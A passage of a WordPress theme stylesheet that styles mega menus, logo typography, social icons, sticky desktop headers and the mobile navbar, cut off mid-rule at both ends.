	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-2 .penci-mega-post:nth-child(9),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(13),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(14),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(15),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-1 .penci-mega-post:nth-child(6),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-2 .penci-mega-post:nth-child(11),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-2 .penci-mega-post:nth-child(12),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(16),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(17),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(18) {
		display: none
	}
}
@media only screen and (max-width:1169px) {
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post {
		width: 25%
	}
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post {
		width: 33.33333%
	}
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(3n+1),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post:nth-child(4n+1) {
		clear: both
	}
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-1 .penci-mega-post:nth-child(4),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-2 .penci-mega-post:nth-child(7),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-2 .penci-mega-post:nth-child(8),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(10),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(11),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(12),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-1 .penci-mega-post:nth-child(5),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-2 .penci-mega-post:nth-child(10),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-2 .penci-mega-post:nth-child(9),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(13),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(14),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(15) {
		display: none
	}
}
.navigation .penci-megamenu .penci-mega-thumbnail {
	display: block;
	margin: 0 0 17px 0;
	position: relative
}
.navigation .penci-megamenu .penci-mega-thumbnail a {
	width: 100%
}
.navigation .penci-megamenu .penci-mega-thumbnail .mega-cat-name {
	font-size: 10px;
	background: var(--pcaccent-cl);
	text-transform: uppercase;
	position: absolute;
	display: inline-block;
	padding: 0 6px;
	color: #fff;
	top: 0;
	left: 0;
	z-index: 3;
	height: 18px;
	font-weight: 400;
	text-align: center;
	line-height: 18px
}
.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post a {
	margin: 0;
	padding: 0;
	min-width: 0;
	border-bottom: none;
	position: relative
}
.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-thumbnail a {
	transition: opacity .3s;
	-webkit-transition: opacity .3s;
	-moz-transition: opacity .3s
}
.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-thumbnail a:hover {
	opacity: .8
}
.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-thumbnail .mega-cat-name a {
	font-size: inherit !important;
	font-family: inherit !important;
	font-weight: inherit !important;
	line-height: inherit !important;
	color: inherit !important;
	opacity: 1;
	padding: 0;
	margin: 0;
	text-transform: none;
	letter-spacing: 0
}
.navigation .penci-megamenu .penci-mega-thumbnail img {
	width: 100%;
	height: auto
}
.navigation .penci-megamenu .post-mega-title {
	text-align: center;
	margin: 0
}
.navigation .penci-megamenu .post-mega-title a {
	text-align: center
}
.navigation .penci-megamenu .penci-mega-date {
	line-height: 1;
	font-size: 12px;
	color: #999;
	text-align: center;
	margin-top: 6px
}
.navigation ul.menu>li.megamenu {
	position: static
}
.navigation ul.menu>li.megamenu>ul.sub-menu {
	width: var(--pcctain);
	padding: 15px 0;
	display: table;
	table-layout: fixed;
	background: #fff;
	left: 0
}
.navigation ul.menu>li.megamenu>ul.sub-menu>li {
	min-width: 200px;
	max-width: 300px;
	display: table-cell;
	vertical-align: top;
	padding: 0 5px;
	margin: 0;
	position: relative
}
.navigation ul.menu>li.megamenu>ul.sub-menu>li:before {
	left: 0;
	content: "";
	position: absolute;
	top: 15px;
	bottom: 15px;
	width: 1px;
	display: block;
	background: #e0e0e0
}
.navigation ul.menu>li.megamenu>ul.sub-menu>li:first-child:before {
	content: none;
	display: none
}
.navigation ul.menu>li.megamenu>ul.sub-menu>li>a {
	margin: 0 20px;
	border-bottom: 1px solid #e0e0e0;
	display: none
}
.navigation ul.menu>li.megamenu>ul.sub-menu>li>ul.sub-menu {
	visibility: visible;
	opacity: 1;
	transform: none;
	-webkit-transform: none;
	-moz-transform: none;
	box-shadow: none;
	-webkit-box-shadow: none;
	-moz-box-shadow: none;
	position: static;
	border: none
}
.navigation ul.menu>li.megamenu>ul.sub-menu>li>ul.sub-menu li,
.navigation ul.menu>li.megamenu>ul.sub-menu>li>ul.sub-menu li a {
	display: block
}
.navigation.menu-style-2 .menu>ul>li>a:before,
.navigation.menu-style-2 ul.menu>li>a:before {
	content: none;
	display: none
}
.navigation .menu>ul.sub-menu>li.menu-item-has-children>a:after,
.navigation .menu>ul.sub-menu>li.penci-mega-menu>a:after,
.navigation ul.menu>li.menu-item-has-children>a:after,
.navigation ul.menu>li.penci-mega-menu>a:after {
	font-family: FontAwesome;
	content: "\f107";
	margin-left: 5px;
	color: inherit;
	font-size: 13px;
	font-weight: 400;
	width: auto;
	display: inline-block;
	vertical-align: top;
	line-height: inherit
}
.penci-fawesome-ver5 .navigation .menu>ul>li.menu-item-has-children>a:after,
.penci-fawesome-ver5 .navigation .menu>ul>li.penci-mega-menu>a:after,
.penci-fawesome-ver5 .navigation ul.menu>li.menu-item-has-children>a:after,
.penci-fawesome-ver5 .navigation ul.menu>li.penci-mega-menu>a:after {
	font-family: "Font Awesome 5 Free";
	content: "\f107";
	font-weight: 900
}
.navigation.menu-style-2 .menu .children,
.navigation.menu-style-2 .menu .sub-menu {
	border-top: 4px solid #e0e0e0;
	padding: 8px 0
}
.navigation.menu-style-2 ul.menu ul.sub-menu:before {
	width: 0;
	height: 4px;
	top: -4px;
	position: absolute;
	background: var(--pcaccent-cl);
	left: 0;
	-webkit-transition: width .4s cubic-bezier(.87, .02, .23, 1);
	-webkit-transition: width .4s cubic-bezier(.87, .02, .23, 1.005);
	-moz-transition: width .4s cubic-bezier(.87, .02, .23, 1.005);
	-o-transition: width .5s cubic-bezier(.87, .02, .23, 1.005);
	transition: width .5s cubic-bezier(.87, .02, .23, 1.005);
	content: "";
	transition-delay: .3s;
	-webkit-transition-delay: .3s;
	-moz-transition-delay: .3s
}
.navigation.menu-style-2 .menu ul li:hover>ul.sub-menu:before,
.navigation.menu-style-2 ul.menu li:hover>ul.sub-menu:before {
	width: 100%
}
.navigation.menu-style-2 ul.menu ul.sub-menu a {
	padding: 8px 0;
	border: none !important
}
.navigation.menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts {
	padding: 0
}
.navigation.menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post {
	margin: 0;
	position: relative;
	z-index: 5
}
.navigation.menu-style-2 .penci-megamenu .penci-content-megamenu.pcmis-1 .penci-mega-latest-posts .penci-mega-post {
	padding: 0 0 15px;
}
#navigation.menu-style-2 .penci-megamenu .penci-content-megamenu:not(.pcmis-1) .penci-mega-latest-posts .penci-mega-post,
.navigation.menu-style-2 .penci-megamenu .penci-content-megamenu:not(.pcmis-1) .penci-mega-latest-posts .penci-mega-post {
	padding-top: 15px;
	padding-bottom: 15px;
}
.navigation.menu-style-2 .penci-megamenu .penci-mega-thumbnail {
	position: relative;
	z-index: 5
}
.navigation.menu-style-2 .penci-megamenu .penci-mega-meta {
	padding: 0 5px
}
.navigation.menu-style-2 .penci-megamenu .post-mega-title {
	line-height: 1
}
.menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post:before {
	position: absolute;
	content: "";
	right: 0;
	top: 0;
	bottom: 0;
	width: 1px;
	background: #f1f1f2;
	z-index: 1
}
.navigation.menu-style-2 .penci-megamenu .penci-mega-thumbnail .mega-cat-name {
	bottom: 0;
	top: auto
}
.navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories {
	padding: 12px 0
}
.navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories:after {
	background-color: #f1f1f2
}
.navigation.menu-style-2 ul.sub-menu .penci-megamenu .penci-mega-child-categories a {
	min-width: 0;
	display: block;
	text-align: left;
	line-height: 1.4em;
	margin: 0;
	padding: 6px 0 6px 20px;
	position: relative;
	border: none;
	background-color: inherit;
	z-index: 0
}
.navigation.menu-style-2 ul.sub-menu .penci-megamenu .penci-mega-child-categories.pcmit-bottom a,
.navigation.menu-style-2 ul.sub-menu .penci-megamenu .penci-mega-child-categories.pcmit-top a {
	padding-top: 20px;
	padding-bottom: 20px
}
.navigation.menu-style-2 ul.sub-menu .penci-megamenu .penci-mega-child-categories.pcmit-bottom a,
.navigation.menu-style-2 ul.sub-menu .penci-megamenu .penci-mega-child-categories.pcmit-top a {
	display: inline-block
}
.navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a:after {
	content: "";
	display: block;
	position: absolute;
	top: 50%;
	margin-top: -.5px;
	-webkit-transition: width .4s ease-in-out;
	-o-transition: width .4s ease-in-out;
	transition: width .4s ease-in-out;
	border-bottom: 1px solid;
	width: 0;
	opacity: .3;
	left: 20px;
	z-index: 1;
	box-shadow: none;
	-webkit-box-shadow: none;
	color: inherit
}
.navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a:hover:after {
	width: calc(100% + 20px)
}
.navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a span {
	position: relative;
	z-index: 2;
	background-color: inherit;
	padding-right: 20px;
	display: inline-block
}
.navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.all-style:before {
	content: "";
	background: #f1f1f2;
	width: 24px;
	display: block;
	height: 1px;
	margin: 4px 0 17px;
	opacity: 1;
	position: static;
	box-shadow: none;
	-webkit-box-shadow: none
}
.navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories.pcmit-bottom a.all-style:before,
.navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories.pcmit-top a.all-style:before {
	display: none
}
.navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.all-style:after {
	content: none;
	display: none
}
.navigation.menu-style-2 ul.menu>li.megamenu>ul.sub-menu {
	padding: 5px 0
}
.navigation.menu-style-2 ul.menu>li.megamenu>ul.sub-menu>li>ul.sub-menu:before {
	display: none;
	content: none
}
.penci-megamenu[data-number="1"] {
	min-height: 279px
}
.penci-megamenu[data-number="2"] {
	min-height: 558px
}
.penci-megamenu[data-number="3"] {
	min-height: 837px
}
.penci-megamenu[data-style="3"] {
	min-height: 190px
}
.penci-megamenu[data-style="3"][data-number="2"] {
	min-height: 380px
}
.penci-megamenu[data-style="3"][data-number="3"] {
	min-height: 570px
}
.penci-megamenu[data-style="4"] {
	min-height: 130px
}
.penci-megamenu[data-style="4"][data-number="2"] {
	min-height: 260px
}
.penci-megamenu[data-style="4"][data-number="3"] {
	min-height: 390px
}
.penci-megamenu.loaded {
	min-height: unset
}
.penci-mega-default-width {
	min-width: var(--pcctain)
}
.penci-mega-default-width .container {
	width: 100%
}
.navigation.menu-item-padding .menu>ul>li,
.navigation.menu-item-padding ul.menu>li {
	margin: 0
}
.navigation.menu-item-padding .menu>ul>li>a,
.navigation.menu-item-padding ul.menu>li>a {
	padding: 0 15px
}
.navigation.menu-item-padding .menu>li.current-menu-ancestor>a,
.navigation.menu-item-padding .menu>li.current-menu-item>a,
.navigation.menu-item-padding .menu>li.current_page_item>a,
.navigation.menu-item-padding .menu>li:hover>a,
.navigation.menu-item-padding .menu>li>a:hover {
	background-color: #ececec
}
.navigation.menu-item-padding .menu>ul>li>a:before,
.navigation.menu-item-padding ul.menu>li>a:before {
	content: none;
	display: none
}
@media only screen and (min-width:961px) {
	.is-sticky .navigation.menu-item-padding {
		height: 58px;
		border: none !important
	}
	.navigation-sticky-wrapper:not(.is-sticky) .menu .children,
	.navigation-sticky-wrapper:not(.is-sticky) .menu .sub-menu {
		margin-top: -1px
	}
}
@-moz-document url-prefix() {
	.navigation.menu-style-2 ul.menu>li.megamenu>ul.sub-menu:before {
		top: 0
	}
}
.penci-header-image-logo,
.penci-header-text-logo {
	--pchb-logo-title-size: 40px;
	--pchb-logo-title-font: var(--pchead-font);
	--pchb-logo-title-fw: "400";
	--pchb-logo-title-fs: "normal";
	--pchb-logo-slogan-size: 14px;
	--pchb-logo-slogan-font: "inherit";
	--pchb-logo-slogan-fw: "400";
	--pchb-logo-slogan-fs: "normal";
	--pchb-logo-title-color: "inherit";
	--pchb-logo-slogan-color: var(--pctext-cl)
}
.penci-header-text-logo .site-name {
	font-size: var(--pchb-logo-title-size);
	font-family: var(--pchb-logo-title-font);
	font-weight: var(--pchb-logo-title-fw);
	font-style: var(--pchb-logo-title-fs);
	color: var(--pchb-logo-title-color);
	line-height: 1
}
.penci-header-image-logo .site-slogan,
.penci-header-text-logo .site-slogan {
	font-size: var(--pchb-logo-slogan-size);
	font-family: var(--pchb-logo-slogan-font);
	font-weight: var(--pchb-logo-slogan-fw);
	font-style: var(--pchb-logo-slogan-fs);
	color: var(--pchb-logo-slogan-color);
	line-height: 1.3;
	margin-top: 12px
}
.penci_navbar_mobile .penci-header-text-logo {
	--pchb-m-logo-title-size: 20px;
	--pchb-m-logo-title-m-size: 20px;
	--pchb-m-logo-title-font: var(--pchead-font);
	--pchb-m-logo-title-fw: "400";
	--pchb-m-logo-title-fs: "normal";
	--pchb-m-logo-slogan-size: 14px;
	--pchb-m-logo-slogan-m-size: 14px;
	--pchb-m-logo-slogan-font: "inherit";
	--pchb-m-logo-slogan-fw: "400";
	--pchb-m-logo-slogan-fs: "normal";
	--pchb-m-logo-title-color: "inherit";
	--pchb-m-logo-slogan-color: "inherit"
}
.penci_navbar_mobile .penci-header-text-logo .site-name {
	font-size: var(--pchb-m-logo-title-size);
	font-family: var(--pchb-m-logo-title-font);
	font-weight: var(--pchb-m-logo-title-fw);
	font-style: var(--pchb-m-logo-title-fs);
	color: var(--pchb-m-logo-title-color);
	line-height: 1
}
.penci_navbar_mobile .site-slogan {
	font-size: var(--pchb-m-logo-slogan-size);
	font-family: var(--pchb-m-logo-slogan-font);
	font-weight: var(--pchb-m-logo-slogan-fw);
	font-style: var(--pchb-m-logo-slogan-fs);
	color: var(--pchb-m-logo-slogan-color);
	line-height: 1.3;
	margin-top: 12px
}
.pc-logo-sticky {
	--pchb-logo-s-title-size: 40px;
	--pchb-logo-s-title-font: var(--pchead-font);
	--pchb-logo-s-title-fw: "400";
	--pchb-logo-s-title-fs: "normal";
	--pchb-logo-s-slogan-size: 14px;
	--pchb-logo-s-slogan-font: "inherit";
	--pchb-logo-s-slogan-fw: "400";
	--pchb-logo-s-slogan-fs: "normal";
	--pchb-logo-s-title-color: "inherit";
	--pchb-logo-s-slogan-color: "inherit"
}
.pc-logo-sticky.penci-header-text-logo .site-name {
	font-size: var(--pchb-logo-s-title-size);
	font-family: var(--pchb-logo-s-title-font);
	font-weight: var(--pchb-logo-s-title-fw);
	font-style: var(--pchb-logo-s-title-fs);
	color: var(--pchb-logo-s-title-color);
	line-height: 1
}
.pc-logo-sticky.penci-header-image-logo .site-slogan,
.pc-logo-sticky.penci-header-text-logo .site-slogan {
	font-size: var(--pchb-logo-s-slogan-size);
	font-family: var(--pchb-logo-s-slogan-font);
	font-weight: var(--pchb-logo-s-slogan-fw);
	font-style: var(--pchb-logo-s-slogan-fs);
	color: var(--pchb-logo-s-slogan-color);
	line-height: 1.3;
	margin-top: 12px
}
.pb-logo-sidebar-mobile {
	--pchb-logo-sm-title-size: 40px;
	--pchb-logo-sm-title-font: var(--pchead-font);
	--pchb-logo-sm-title-fw: "400";
	--pchb-logo-sm-title-fs: "normal";
	--pchb-logo-sm-slogan-size: 14px;
	--pchb-logo-sm-slogan-font: "inherit";
	--pchb-logo-sm-slogan-fw: "400";
	--pchb-logo-sm-slogan-fs: "normal";
	--pchb-logo-sm-title-color: "inherit";
	--pchb-logo-sm-slogan-color: "inherit"
}
.pb-logo-sidebar-mobile.penci-header-text-logo .site-name {
	font-size: var(--pchb-logo-sm-title-size);
	font-family: var(--pchb-logo-sm-title-font);
	font-weight: var(--pchb-logo-sm-title-fw);
	font-style: var(--pchb-logo-sm-title-fs);
	color: var(--pchb-logo-sm-title-color);
	line-height: 1
}
.pb-logo-sidebar-mobile.penci-header-image-logo .site-slogan,
.pb-logo-sidebar-mobile.penci-header-text-logo .site-slogan {
	font-size: var(--pchb-logo-sm-slogan-size);
	font-family: var(--pchb-logo-sm-slogan-font);
	font-weight: var(--pchb-logo-sm-slogan-fw);
	font-style: var(--pchb-logo-sm-slogan-fs);
	color: var(--pchb-logo-sm-slogan-color);
	line-height: 1.3;
	margin-top: 12px
}
.penci-builder-element.penci-data-time-format {
	white-space: nowrap
}
.penci-builder-element.header-social a i {
	width: var(--pchb-socialw);
	height: var(--pchb-socialw);
	line-height: calc(var(--pchb-socialw) - 2px);
	background: 0 0;
	border: 1px solid #e0e0e0;
	margin: 0;
	display: inline-block;
	text-align: center;
	color: var(--pctext-cl)
}
.penci-builder-element.header-social.mobile-social a i {
	width: var(--pchb-m-socialw);
	height: var(--pchb-m-socialw);
	line-height: calc(var(--pchb-m-socialw) - 2px)
}
.penci-builder-element.header-social a:hover i {
	color: var(--pcaccent-cl)
}
.penci-builder-element.header-social a {
	margin-right: 10px
}
body:not(.rtl) .penci-builder-element.header-social a:last-child {
	margin-right: 0 !important
}
.penci-builder-element.header-social .penci-social-colored a {
	transition: opacity .3s
}
.penci-builder-element.header-social .penci-social-colored a:hover {
	opacity: .85
}
.penci-builder-element.header-social .penci-social-colored a i {
	border: none !important;
	color: #fff !important;
	line-height: var(--pchb-socialw)
}
.penci-builder-element.header-social.mobile-social .penci-social-colored a i {
	border: none !important;
	color: #fff !important;
	line-height: var(--pchb-m-socialw)
}
.penci-builder-element.header-social .penci-social-simple a i {
	line-height: 1;
	width: auto !important;
	height: auto !important;
	border-color: transparent !important;
	background-color: transparent !important
}
.penci-builder-element.header-social .penci-social-bordered a i {
	background-color: transparent
}
.penci-builder-element.header-social {
	margin-top: 0
}
.penci-vertical-line {
	display: inline-block;
	width: 1px;
	height: 20px;
	background-color: var(--pcborder-cl)
}
.penci-builder-element.header-social .penci-social-circle a i {
	border-radius: 50%
}
.pc-builder-element.pc-main-menu {
	--pchb-main-menu-font: var(--pchead-font);
	--pchb-main-menu-fs: 12px;
	--pchb-main-menu-lh: 58px;
	--pchb-main-menu-fs_l2:var(--pchb-main-menu-fs);
	--pchb-main-menu-cl: #313131;
	--pchb-main-menu-fw: bold;
	--pchb-main-menu-tt: uppercase;
	--pchb-main-menu-mg: 30px;
	--pchb-main-menu-mgi: 0;
	--pchb-mainm-linect: ""
}
.pc-builder-element.pc-main-menu .navigation .menu ul.sub-menu li a,
.pc-builder-element.pc-main-menu .navigation .menu>li>a {
	font-family: var(--pchb-main-menu-font);
	font-size: var(--pchb-main-menu-fs);
	font-weight: var(--pchb-main-menu-fw);
	color: var(--pchb-main-menu-cl);
	letter-spacing: 0;
	text-transform: var(--pchb-main-menu-tt)
}
.pc-builder-element.pc-main-menu .navigation .menu li.current-menu-item>a,
.pc-builder-element.pc-main-menu .navigation .menu li>a:hover,
.pc-builder-element.pc-main-menu .navigation .menu>li.current-menu-ancestor>a,
.pc-builder-element.pc-main-menu .navigation .menu>li.current-menu-item>a,
.pc-builder-element.pc-main-menu .navigation .menu>li.current_page_item>a {
	color: var(--pcaccent-cl)
}
.pc-builder-element.pc-main-menu .navigation ul.menu ul.sub-menu li a {
	font-size: var(--pchb-main-menu-fs_l2)
}
.pc-builder-element.pc-main-menu .navigation .menu>ul>li,
.pc-builder-element.pc-main-menu .navigation ul.menu>li {
	margin-right: var(--pchb-main-menu-mg)
}
.pc-builder-element.pc-main-menu .navigation ul.menu>li:last-child {
	margin-right: 0
}
.pc-builder-element.pc-main-menu .navigation .menu>li>a {
	line-height: var(--pchb-main-menu-lh)
}
.pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu>ul>li>a,
.pc-builder-element.pc-main-menu .navigation.menu-item-padding ul.menu>li>a {
	padding-left: calc(var(--pchb-main-menu-mg)/ 2);
	padding-right: calc(var(--pchb-main-menu-mg)/ 2)
}
.pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu>ul>li:not(:last-child),
.pc-builder-element.pc-main-menu .navigation.menu-item-padding ul.menu>li:not(:last-child) {
	margin-right: var(--pchb-main-menu-mgi)
}
.pc-builder-element.pc-second-menu {
	--pchb-second-menu-font: var(--pchead-font);
	--pchb-second-menu-fs: 12px;
	--pchb-second-menu-lh: 58px;
	--pchb-second-menu-fs_l2:var(--pchb-second-menu-fs);
	--pchb-second-menu-cl: #313131;
	--pchb-second-menu-fw: bold;
	--pchb-second-menu-tt: uppercase;
	--pchb-second-menu-mg: 30px;
	--pchb-second-menu-mgi: 0;
	--pchb-secondm-linect: ""
}
.pc-builder-element.pc-second-menu .navigation .menu ul.sub-menu li a,
.pc-builder-element.pc-second-menu .navigation .menu>li>a {
	font-family: var(--pchb-second-menu-font);
	font-size: var(--pchb-second-menu-fs);
	font-weight: var(--pchb-second-menu-fw);
	color: var(--pchb-second-menu-cl);
	text-transform: var(--pchb-second-menu-tt)
}
.pc-builder-element.pc-second-menu .navigation .menu li.current-menu-item>a,
.pc-builder-element.pc-second-menu .navigation .menu li>a:hover,
.pc-builder-element.pc-second-menu .navigation .menu>li.current-menu-ancestor>a,
.pc-builder-element.pc-second-menu .navigation .menu>li.current-menu-item>a,
.pc-builder-element.pc-second-menu .navigation .menu>li.current_page_item>a {
	color: var(--pcaccent-cl)
}
.pc-builder-element.pc-second-menu .navigation ul.menu ul.sub-menu li a {
	font-size: var(--pchb-second-menu-fs_l2)
}
.pc-builder-element.pc-second-menu .navigation .menu>ul>li,
.pc-builder-element.pc-second-menu .navigation ul.menu>li {
	margin-right: var(--pchb-second-menu-mg)
}
.pc-builder-element.pc-second-menu .navigation .menu>ul>li:last-child,
.pc-builder-element.pc-second-menu .navigation ul.menu>li:last-child {
	margin-right: 0
}
.pc-builder-element.pc-second-menu .navigation .menu>li>a {
	line-height: var(--pchb-second-menu-lh)
}
.pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu>ul>li>a,
.pc-builder-element.pc-second-menu .navigation.menu-item-padding ul.menu>li>a {
	padding-left: calc(var(--pchb-second-menu-mg)/ 2);
	padding-right: calc(var(--pchb-second-menu-mg)/ 2)
}
.pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu>ul>li:not(:last-child),
.pc-builder-element.pc-second-menu .navigation.menu-item-padding ul.menu>li:not(:last-child) {
	margin-right: var(--pchb-second-menu-mgi)
}
.pc-builder-element.pc-third-menu {
	--pchb-third-menu-font: var(--pchead-font);
	--pchb-third-menu-fs: 12px;
	--pchb-third-menu-lh: 58px;
	--pchb-third-menu-fs_l2:var(--pchb-third-menu-fs);
	--pchb-third-menu-cl: #313131;
	--pchb-third-menu-fw: bold;
	--pchb-third-menu-tt: uppercase;
	--pchb-third-menu-mg: 30px;
	--pchb-third-menu-mgi: 0;
	--pchb-thirdm-linect: ""
}
.pc-builder-element.pc-third-menu .navigation .menu ul.sub-menu li a,
.pc-builder-element.pc-third-menu .navigation .menu>li>a {
	font-family: var(--pchb-third-menu-font);
	font-size: var(--pchb-third-menu-fs);
	font-weight: var(--pchb-third-menu-fw);
	color: var(--pchb-third-menu-cl);
	text-transform: var(--pchb-third-menu-tt)
}
.pc-builder-element.pc-third-menu .navigation .menu li.current-menu-item>a,
.pc-builder-element.pc-third-menu .navigation .menu li>a:hover,
.pc-builder-element.pc-third-menu .navigation .menu>li.current-menu-ancestor>a,
.pc-builder-element.pc-third-menu .navigation .menu>li.current-menu-item>a,
.pc-builder-element.pc-third-menu .navigation .menu>li.current_page_item>a {
	color: var(--pcaccent-cl)
}
.pc-builder-element.pc-third-menu .navigation ul.menu ul.sub-menu li a {
	font-size: var(--pchb-third-menu-fs_l2)
}
.pc-builder-element.pc-third-menu .navigation .menu>ul>li,
.pc-builder-element.pc-third-menu .navigation ul.menu>li {
	margin-right: var(--pchb-third-menu-mg)
}
.pc-builder-element.pc-third-menu .navigation .menu>ul>li:last-child,
.pc-builder-element.pc-third-menu .navigation ul.menu>li:last-child {
	margin-right: 0
}
.pc-builder-element.pc-third-menu .navigation .menu>li>a {
	line-height: var(--pchb-third-menu-lh)
}
.pc-builder-element.pc-builder-menu .pcremove-lineh ul.menu>li>a:before {
	content: none
}
.pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu>ul>li>a,
.pc-builder-element.pc-third-menu .navigation.menu-item-padding ul.menu>li>a {
	padding-left: calc(var(--pchb-third-menu-mg)/ 2);
	padding-right: calc(var(--pchb-third-menu-mg)/ 2)
}
.pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu>ul>li:not(:last-child),
.pc-builder-element.pc-third-menu .navigation.menu-item-padding ul.menu>li:not(:last-child) {
	margin-right: var(--pchb-third-menu-mgi)
}
.penci-builder-element.penci-topbar-trending .penci-owl-carousel .swiper-slide {
	background-color: transparent
}
.penci-builder-element.penci-topbar-trending a.penci-topbar-post-title {
	color: var(--pcheading-cl)
}
@keyframes Penci-FadeDown {
	from {
		transform: translate3d(0, -100%, 0)
	}
	to {
		transform: none
	}
}
@keyframes Penci-FadeUp {
	from {
		transform: none
	}
	to {
		transform: translate3d(0, -100%, 0)
	}
}
.penci_header.penci_builder_sticky_header_desktop {
	position: fixed;
	top: 0;
	left: 0;
	right: 0;
	z-index: 9998;
	opacity: 0;
	visibility: hidden;
	transition: visibility .1s ease, opacity .1s ease, transform .3s ease;
	transform: translate3d(0, -100%, 0);
	background-color: #fff;
	border-style: solid;
	border-width: 0
}
.penci_header.main-builder-header {
	border-width: 0
}
body.admin-bar .penci_header.penci_builder_sticky_header_desktop {
	top: 32px
}
.penci_header.penci_builder_sticky_header_desktop.sticky-apply {
	opacity: 1;
	visibility: visible;
	transform: translate3d(0, 0, 0)
}
.penci_header.main-builder-header.ns-apply .navigation .menu .penci-dropdown,
.penci_header.main-builder-header.ns-apply .navigation .menu .sub-menu {
	display: none
}
.penci_navbar_mobile {
	background: var(--pcbg-cl)
}
.penci_navbar_mobile.mobile-overlap {
	position: absolute;
	top: 0;
	right: 0;
	left: 0;
	z-index: 9996;
	background: 0 0
}
body.admin-bar .penci_navbar_mobile.mobile-overlap {
	top: 46px
}
body.admin-bar .penci_navbar_mobile.mobile-overlap.mobile-sticky {
	top: 0
}
.penci_header.penci_builder_sticky_header_desktop.sticky-apply.hide-scroll-down.scrolldown,
.penci_navbar_mobile.mobile-sticky.hide-scroll-down,
.penci_navbar_mobile.mobile-sticky.hide-scroll-down.scrolldown {
	opacity: 0;
	visibility: hidden;
	transform: translate3d(0, -100%, 0)
}
.penci_header.penci_builder_sticky_header_desktop.sticky-apply.hide-scroll-down.scrollup,
.penci_navbar_mobile.mobile-sticky.hide-scroll-down.scrollup {
	opacity: 1;
	visibility: visible;
	display: block;
	transform: translate3d(0, 0, 0)
}
.penci-header-image-logo img,
.penci_builder_sticky_header_desktop .penci-header-image-logo img {
	width: auto;
	height: auto
}
.pc-builder-element .search-click,
.pc-builder-element.penci-top-search .search-click {
	height: unset;
	line-height: unset;
	display: inline-block
}
.pchd-elcart,
.pc-elehdbd-search {
	display: flex;
	min-height: 1px;
}
.pchd-elcompare.top-search-classes,
.pchd-elwishlist.top-search-classes,
.pchd-elcart .top-search-classes,
.pc-elehdbd-search.top-search-classes {
	float: none;
}
.pchd-elcart .top-search-classes,
.pchd-elcart .top-search-classes a.cart-contents,
.pchd-elwishlist.top-search-classes > a,
.pchd-elcompare.top-search-classes > a {
	width: 58px;
}
.pchd-elcart a.cart-contents, 
.pchd-elcart.top-search-classes > a {
	line-height: unset;
	height: unset;
}
@media only screen and (min-width:961px) {
	.penci_navbar_mobile,
	.penci_navbar_mobile.mobile-sticky,
